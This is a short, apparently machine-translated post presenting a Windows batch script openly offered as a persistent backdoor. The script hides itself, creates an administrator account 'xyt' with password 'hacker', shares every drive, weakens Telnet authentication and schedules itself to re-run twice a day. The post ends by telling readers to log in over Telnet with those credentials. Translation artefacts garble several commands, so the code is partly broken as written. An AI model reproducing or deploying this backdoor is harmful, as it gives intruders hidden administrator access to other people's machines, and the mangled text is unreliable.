Batch Processing bat-a backdoor that will never be killed

CodeAs follows: Copy codeThe Code is as follows: @ echo off
@ Attrib + S + R xyt. bat
@ Net user xyt hacker/Add
@ Net localgroup administrators xyt/Add
@ Net share C $ = C:
@ Net share d $ = D:
@ Net share e $ = E:
@ Net share F $ = F:
@ Net share G $ = G:
@ Net share h $ = h:
@ Tlntadmn config sec =-NTLM

@ Net stop schedule
@ Net start schedule
@ Echo at 11: 00 c: \ winnt \ system32 \ log. Bat> C: \ winnt \ system32 \ xyt. bat
@ Echo at 23:00 c: \ winnt \ system32 \ log. Bat> C: \ winnt \ system32 \ xyt. bat
@ At 11: 05 C: \ winnt \ system32 \ xyt. bat
@ At 23:05 c: \ winnt \ system32 \ xyt. bat
@ Net stop Telnet
@ Net start Telnet
@ Exit

In this way, ourProgramEven if it was stopped, it took several hours to run again ~~
Run the Telnet IP address. The username is xyt and the password is Hacker.